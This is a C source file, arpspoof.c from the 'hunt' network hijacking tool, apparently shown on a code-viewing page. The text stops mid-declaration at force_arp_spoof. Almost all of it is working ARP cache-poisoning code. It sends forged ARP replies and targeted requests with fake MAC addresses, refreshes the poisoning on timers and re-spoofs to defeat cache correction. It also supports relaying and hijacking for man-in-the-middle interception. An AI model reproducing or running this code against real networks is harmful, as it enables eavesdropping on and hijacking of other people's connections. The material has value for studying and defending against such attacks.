📄 arpspoof.c
字号:
/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998, 1999 by kra * */#include "hunt.h"#include <sys/time.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <time.h>#include <assert.h>#include <signal.h>struct arp_spoof_range { struct arp_spoof_info **asi; /* array of pointers */ int asi_count; unsigned int dst_start_addr; unsigned int dst_end_addr; unsigned int src_addr; char src_fake_mac[ETH_ALEN]; int refresh; int can_forward; struct arp_spoof_range *next;};static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next);static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next);static struct list l_arp_spoof_range = LIST_INIT(struct arp_spoof_range, next);static struct ifunc_item ifunc_arp;static pthread_t relay_thr;static struct ifunc_item ifunc_relay;static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]);static int relayer_running = 0;int arp_request_spoof_through_request = 1;int arp_rr_count = 2;int arp_spoof_switch = 1;int arp_spoof_with_my_mac = 0;int can_forward_question = 0; /* if 0 then can_forward is default to 1 */unsigned char mac_broadcast[ETH_ALEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};unsigned char mac_zero[ETH_ALEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};#if 0static unsigned char mac_test[] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xAA};static void prepare_switch(struct arp_spoof_info *asi){ struct arp_spec as_dst; struct timespec ts; int i; as_dst.src_mac = asi->src_fake_mac; as_dst.dst_mac = mac_broadcast; as_dst.oper = htons(ARPOP_REQUEST); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL);}#endifstatic void send_src_spoof_to_dst(struct arp_spoof_info *asi){ struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst);}/* * if the ARP entry is in the host arp cache the host updates it even * from ARP request. That means when the first spoofed host send ARP * request for some other machine to broadcast eth mac (with its original * source mac address) it is received by the second spoofed host also * and that host updates the cache to the right value - so the spoof * is lost - we have to handle this. * * Don't send arp request to broadcast eth mac because then * you can influent all caches. */static void send_src_spoof_to_dst_through_request(struct arp_spoof_info *asi, unsigned int ask_addr){ struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof 2 without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; /* don't use broadcast - we want that it is received only by the target */ as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = ask_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst);}int arp_spoof_timejob(void *arg, int arg_sec){ struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct mac_info *mi_dst, *mi_src; if (!asi->dst_mac_valid) { if ((mi_dst = mac_info_get(asi->dst_addr))) { memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } else { mac_discover(asi->dst_addr, 1); /* we will find the mac next time */ } } if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } } if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } return arg_sec;}#if 0static void print_arp_request_warning(struct packet *p, struct arpeth_hdr *arpethh){ printf("Warning: ARP REQEUST from %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf(", arpethh_sha="); print_eth_mac(arpethh->ar_sha); printf("\n");}#endif/* * this function runs in hunt thread * and sends ARP respons to ARP requests which are now handled by as */static void func_arp(struct packet *p, void *arg){ struct list_iterator li; struct arphdr *arph; struct arpeth_hdr *arpethh; struct arp_spoof_info *asi; struct timejob *tj; arph = p->p_arph; arpethh = (struct arpeth_hdr *)(arph + 1); if (arph->ar_pro != htons(ETH_P_IP)) return; /* * we want to send ARP to received request and reply packets */#if 0 printf("recieved ARP "); if (arph->ar_op == htons(ARPOP_REPLY)) printf("REPLY"); else if (arph->ar_op == htons(ARPOP_REQUEST)) printf("REQUEST"); else printf("UNKNOWN"): printf("for asi: %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf("\n");#endif list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); if (arph->ar_op == htons(ARPOP_REPLY)) { /* reply */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && *(unsigned int *) arpethh->ar_tip == asi->dst_addr) { /* learn mac addresses if we do not have them */ if (!asi->dst_mac_valid) {/* printf("2 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_tha, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) {/* printf("2 learn src_mac\n");*/ memcpy(asi->src_mac, arpethh->ar_sha, ETH_ALEN); asi->src_mac_valid = 1; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; }/* printf("send spoof to reply\n");*/ send_src_spoof_to_dst(asi); } } } else if (arph->ar_op == htons(ARPOP_REQUEST)) { /* request */ /* * some host send ARP probe through REQUEST to direct MAC to see if something * changed - in switched network we do not receive these requests (unless the * sending host has already fake mac in its table) so the refresh feature is useful */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr && *(unsigned int *) arpethh->ar_tip == asi->src_addr) { /* * check if we can learn something */ if (!asi->dst_mac_valid) {/* printf("1 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_sha, ETH_ALEN);#if 0 if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) != 0) print_arp_request_warning(p, arpethh);#endif asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) { /* we cannot learn because the request is sent to broadcast mac */ mac_discover(asi->src_addr, 1); } /* * send the spoof, question is if to do so when we do not have src_mac_valid *//* printf("1 send spoof to request\n");*/ send_src_spoof_to_dst(asi); /* * in switched environment we get the REQEUST * (as it is broadcasted) but the REPLY we don't see * - so we heve to refresh it if we don't see the REPLY */ if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } tj = malloc(sizeof(struct timejob)); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = 0; asi->tj_reply = tj; register_timejob_milsec_rel(tj, 200); /* 0.2s */ } /* * the source is asking for arp resolution of some host * but the spoof target could update the arp cache when * it receives the request (the request is broadcasted), * so we have to handle this */ if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && asi->dst_mac_valid) { if (arp_request_spoof_through_request) send_src_spoof_to_dst_through_request(asi, *(unsigned int *) arpethh->ar_tip); else send_src_spoof_to_dst(asi); } } } else { /* neither REQUEST nor REPLY */ } list_iter_end(&li); list_unlock(&l_arp_spoof);}/* * for internval use only */static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr){ struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) { retval = asi; break; } } list_iter_end(&li); return retval;}/* * this function is exported to other modules like arphijack * it checks that we have all mac addresses ready */struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr){ struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr && asi->src_mac_valid && asi->dst_mac_valid) { retval = asi; break; } } list_iter_end(&li); return retval;}struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port){ struct arp_dont_relay *adr; adr = malloc(sizeof(struct arp_dont_relay)); assert(adr); adr->src_addr = src_addr; adr->dst_addr = dst_addr; adr->src_port = src_port; adr->dst_port = dst_port; list_push(&l_arp_dont_relay, adr); return adr;}void arp_dont_relay_remove(struct arp_dont_relay *adr){ list_remove(&l_arp_dont_relay, adr); free(adr);}static void asi_want(struct arp_spoof_info *asi){ pthread_mutex_lock(&asi->mutex); asi->lock_count++; pthread_mutex_unlock(&asi->mutex);}static void asi_release(struct arp_spoof_info *asi){ pthread_mutex_lock(&asi->mutex); if (--(asi->lock_count) == 0) pthread_cond_broadcast(&asi->lock_cond); pthread_mutex_unlock(&asi->mutex);}static void asi_wait_for_release(struct arp_spoof_info *asi){ pthread_mutex_lock(&asi->mutex); while (asi->lock_count > 0) pthread_cond_wait(&asi->lock_cond, &asi->mutex); pthread_mutex_unlock(&asi->mutex);}struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac, int refresh, int can_forward, int in_range){ struct arp_spoof_info *asi, *tmp; struct timespec ts; struct timejob *tj; struct list_iterator li; int i; if ((asi = get_asi(src_addr, dst_addr))) { if (!asi->dst_mac_valid && dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid && src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } asi->use_count++; return asi; } if (!src_fake_mac) return NULL; if (list_count(&l_arp_spoof) == 0) { ifunc_arp.func = func_arp; ifunc_arp.arg = NULL; list_enqueue(&l_ifunc_arp, &ifunc_arp); } asi = malloc(sizeof(struct arp_spoof_info)); assert(asi); memset(asi, 0, sizeof(struct arp_spoof_info)); pthread_mutex_init(&asi->mutex, NULL); pthread_cond_init(&asi->lock_cond, NULL); asi->lock_count = 0; asi->use_count = 1; asi->refresh = refresh; asi->tj_refresh = NULL; asi->tj_reply = NULL; asi->src_addr = src_addr; asi->dst_addr = dst_addr; memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN); if (dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } else asi->dst_mac_valid = 0; if (src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } else asi->src_mac_valid = 0; asi->can_forward = can_forward; asi->in_range = in_range; /* prepare_switch(asi); */ if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); if (arp_spoof_switch) { ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL); send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); } } /* * insert the asi with range at the end of the l_arp_spoof list and * asi without range before asi with range */ if (in_range) { list_enqueue(&l_arp_spoof, asi); } else { i = 0; list_iter_set(&li, &l_arp_spoof); while ((tmp = list_iter_get(&li))) { if (tmp->in_range) break; i++; } list_iter_end(&li); list_insert_at(&l_arp_spoof, i, asi); } if (refresh) { tj = malloc(sizeof(struct timejob)); assert(tj); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = refresh; asi->tj_refresh = tj; register_timejob_rel(tj, refresh); } else asi->tj_refresh = NULL; return asi;}void force_arp_spoof(struct arp_spoof_info *asi, int count)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -